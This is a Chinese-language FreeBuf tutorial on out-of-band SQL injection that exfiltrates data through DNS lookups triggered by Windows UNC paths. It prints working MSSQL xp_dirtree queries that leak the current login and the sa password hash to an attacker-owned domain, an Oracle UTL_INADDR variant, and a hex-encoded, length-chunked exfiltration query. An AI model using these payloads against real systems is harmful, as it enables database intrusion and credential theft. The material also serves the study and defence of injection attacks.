OOB(out of band)分析系列之DNS滲漏
*本文原創作者:溫酒,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
前言
SQL注入作為最老的漏洞之一,它的價值隨著整個web的發展從來沒有過時,足以證明它的地位和價值。
我和很多人聊過這個漏洞,發現很多人對這個漏洞的了解只是拿sqlmap干,好一點的還會手注,懂原理。
但是它們本身只了解到了這個漏洞的實戰效果和實戰需要等等,並沒有深入了解這個漏洞。但是這個漏洞本身基於資料庫,而資料庫是很靈活的,就會發展出很多邪道。筆者最近看了很多關於sql注入的文章,發現國外已經玩出玫瑰花來了,就打算寫個系列總結一下。
這篇文章的面向對象不是新手,起碼你要會sql的手注,知道sql注入的原理並且熟知各大資料庫的函數和特性。因為這篇文章不會講這些東西但是又基於這些東西,不會是很難看懂的。
我的QQ:1478023488
歡迎任何人找我討論,但是拒絕閑聊和扯淡.
OOB
SQL注入類型細分,分為以下5種:
共計3大類:
這篇文章的主題是out of band,即OOB。
它與我們熟知的inband類的注入相反。inband是利用web應用來直接獲取數據,比如Error-based SQL injection和Error-based SQL injection都是屬於inband類,它們都是通過web的響應或者錯誤反饋來提取數據。
而inference則是通過web的一些反映來推斷數據,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我們通俗的盲注,通過web應用的其他改變來推斷數據。
(因為我喜歡php,所以用PDO作為基準,而PDO只會返回第一條SQL語句的執行結果,
所以一般不能直接拿到數據,一般都是通過update某個可見欄位或者sleep注入,所以我歸為inference類)
Method | requests | Time |
---|---|---|
Boolean-based blind | 29,212 | 214.04 |
Time-based (1 sec) | 32,716 | 17,720.51 |
Error-based | 777 | 9.02 |
Union (full/partial) | 3/136 | 0.70/2.50 |
DNS exfiltration | 1,409 | 35.31 |
數據來源
我們的主角OOB則是通過其他傳輸方式來獲得數據,比如利用我們等會要說到的DNS解析協議和電子郵件。當你遇到了某些很隱蔽的注入點,inband類注入沒辦法用,inference類注入被你嫌棄太慢的時候,OOB就是你最好的選擇了。
利用DNS偷走數據
當說這個之前,你需要知道DNS的原理:
實際上複雜的多,是一個分級查詢。先向根域名伺服器查詢頂級域名伺服器,然後頂級域名伺服器查詢次級域名,這樣一層層查詢下來的。
作為攻擊者,我們只能控制需要查詢的域名和域名的NS伺服器。域名的NS伺服器可以在域名註冊商那裡修改,如何搭建NS伺服器就不談了。
以及還需要知道win對UNC(Universal-Naming-Convention)的內在支持,當我們嘗試連接到一個UNC路徑的時候,win會先查找目標域名的ip地址,用以建立連接。比如,給某個文件處理函數的文件路徑是\admin.xiaoze.com ops
這種,那麼win操作系統會在xiaoze.com
的dns伺服器上查找admin.xiaoze.com
的域名的ip。所以我們可以通過監視dns伺服器來捕獲數據。
那麼顯然,利用dns偷數據的方法,除了大家熟知的mysql+win環境可以利用,只要是有能操控文件的函數且在win環境下運行的資料庫都可以利用這種方法。
比如mssql的4個文件操作函數:
函數名 | 支持的資料庫版本 | 需要的參數 |
---|---|---|
xp_getfiledetails | Microsoft SQL Serves 2000 | 文件路徑 |
xp_fileexist | 全系列 | 文件路徑 |
xp_dirtree | 全系列 | 文件路徑 |
xp_subdirs | 全系列 | 文件路徑 |
利用dns獲得當前登陸的用戶,可以使用:
declare @xiaoze char(128);
set @xiaoze=』『+system_user+』.xiaoze.com.』;
exec master..xp_dirtree @xiaoze
如果想獲得sa賬號的密碼hash,可以使用:
declare @xiaoze varchar(128);
select @host=」『+(select top 1
master.dbo.fn_varbintohexstr(password_hash)
from sys.sql_logins where name=』sa』)
+』.xiaoze.com.』;
exec master..xp_dirtree @xiaoze;
因為在測試的時候發現直接使用字元串拼接會報錯,所以我用了一個變數來保存路徑。但是也有小夥伴測試發現直接拼接不會報錯,具體情況大家自己搭建環境測試吧,我的環境是Microsoft SQL Serves 2000。
上面的語句通過文件操作函數觸發了win的UNC,引發了一次DNS操作,在向我們的ns伺服器查詢子域名ip的時候就可以捕捉到數據。
同樣,除了mssql和mysql可以利用dns偷數據,只要內置文件操作函數的資料庫都可以利用。
比如Oracle,Oracle的利用比mssql簡單很多。可以直接使用UTL_INADDR包(官方文檔戳我),而且因為不依賴PL/SQL所以可以直接插入到子查詢或者where之後。
在Oracle下想獲得資料庫登陸用戶可以用:
select * from xiaoze where lmz=UTL_INADDR.GET_HOST_ADDRESS
((SELECT USER FROM DUAL)||』.xiaoze.com』
其他的比如MySQL和PostgreSQL也是一樣的原理,我就不浪費篇幅了。
實際問題
這個技術本質是利用UNC發起的DNS查詢,所以UNC的路徑不能超過128,否則會失敗。所以我上面的中間變數長度都是128。同時也不能出現非法字元,否則也會失敗。
一般會把希望傳遞的數據轉化成能被dns正確處理的格式,比如變成16進位。mssql內置了一個名為fn_varbintohexstr
的函數,它接收一個字元串作為參數並返回這個字元串的16進位表示。比如:select master.dbo.fn_varbintohexstr(cast(SYSTEM_USER as VARBINARY))
。這句sql語句執行的結果是0x73006100
,也就是sa的unicode編碼後的樣子。
接下來就是長度問題,因為經過上面的16進位編碼之後,128個字元的空間就顯的太少了,很容易就超出。這樣要麼我們只能收到前128個字元,剩下的就被丟掉了,也可能幹脆直接失敗。128包括完整的整個請求,包括前面的\
和結尾的com.
這點尤為注意。同時一個標識符佔用128個字元是非法的,最多不能超過63個字元,比如com
就是一個標籤符,它佔用3個字元。
具體的解釋請打開《TCP/IP詳解—卷1:協議》(機器工業出版社第一版)的第146頁中間的圖14-6那段。
為了能正常完整的偷取數據,我們需要對數據進行編碼,並且不能超過63個位元組。編碼可以用fn_varbintohexstr
函數解決。長度可以用substring
函數截取控制長度。
完整且能保證穩定的利用語句:
declare @xiaoze char(128);
select @xiaoze=』『+master.dbo.fn_varbintohexstr(
CAST(SUBSTRING((SELECT TOP 1
CAST(XiaoZe AS char(255)) FROM LMZ),1,26) AS
VARBINARY(255)))+』.XiaoZeLoveLMZ.com.』;
EXEC master..xp_dirtree @xiaoze;
由於dns查詢會先查看本地緩存,所以為了能成功發出查詢,建議在請求中加入一些隨機值,比如我在我自己寫的工具裡面,隨機值是我老婆每個月的月經時間,每次向後推兩天,幸好她的月經時間不固定,否則我只能隨機她生氣的時間了。比如她看到這段話的時候?
結語
實際上OOB的方法很多,但是大部分都是實戰意義不高的技術。比如利用icmp和電子郵件或者http頭來偷數據。如果有人有興趣,我會全部寫一遍的。
*本文原創作者:溫酒,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


※Petya勒索蠕蟲完全分析報告
※深入分析一波,你們說的雲安全到底是什麼鬼?
※Wolf CMS 新舊兩個版本中的文件上傳漏洞分析
TAG:FreeBuf |
※Nature子刊:阿茲海默病新說?血管滲漏會引起大腦病變,功能下降
※惡意軟體+在線沙箱服務+雲=數據滲漏
※生活小妙招|衛生間防滲漏的小妙招
※山西鋁廠滲漏背後:老闆是山東富豪身家285億,3年被罰8次
※法拉第籠也無法阻止的數據滲漏
※制動跑偏、蒸發器滲漏、輔助蓄電池無法充電、制動燈亮故障的排除
※了不起!潛艇突發滲漏,老兵亮出「家門絕學」,分分鐘找到漏點
※一項研究表明,記憶力最差的人的大腦血管滲漏最多
※業主反映樓屋滲漏怎麼辦?這家物業公司給業主寫了一封信。借鑒!
※終結滲漏3大脆弱點,雨季來襲不擔憂
※狄特絲手術服裝面料,防液體滲漏,阻微生物
※地下室卷卷材防水層轉角部位滲漏檢測與維修
※車禍後一直流「鼻涕」 五年後才查出是腦液滲漏
※塗膜伸出屋面管道根部滲漏檢測及維修
※南京揚子江隧道突發滲漏,搶修22小時恢復通車!
※業主反映房屋滲漏,這家物業公司給業主寫了一封信!被狂贊
※地下室混凝土孔眼滲漏檢測與維修
※衛生間漏水怎麼辦?衛生間如何防止滲漏?
※漏水案例篇:內牆滲漏牆體起皮怎麼辦?
※外牆滲漏薄弱點如何處理?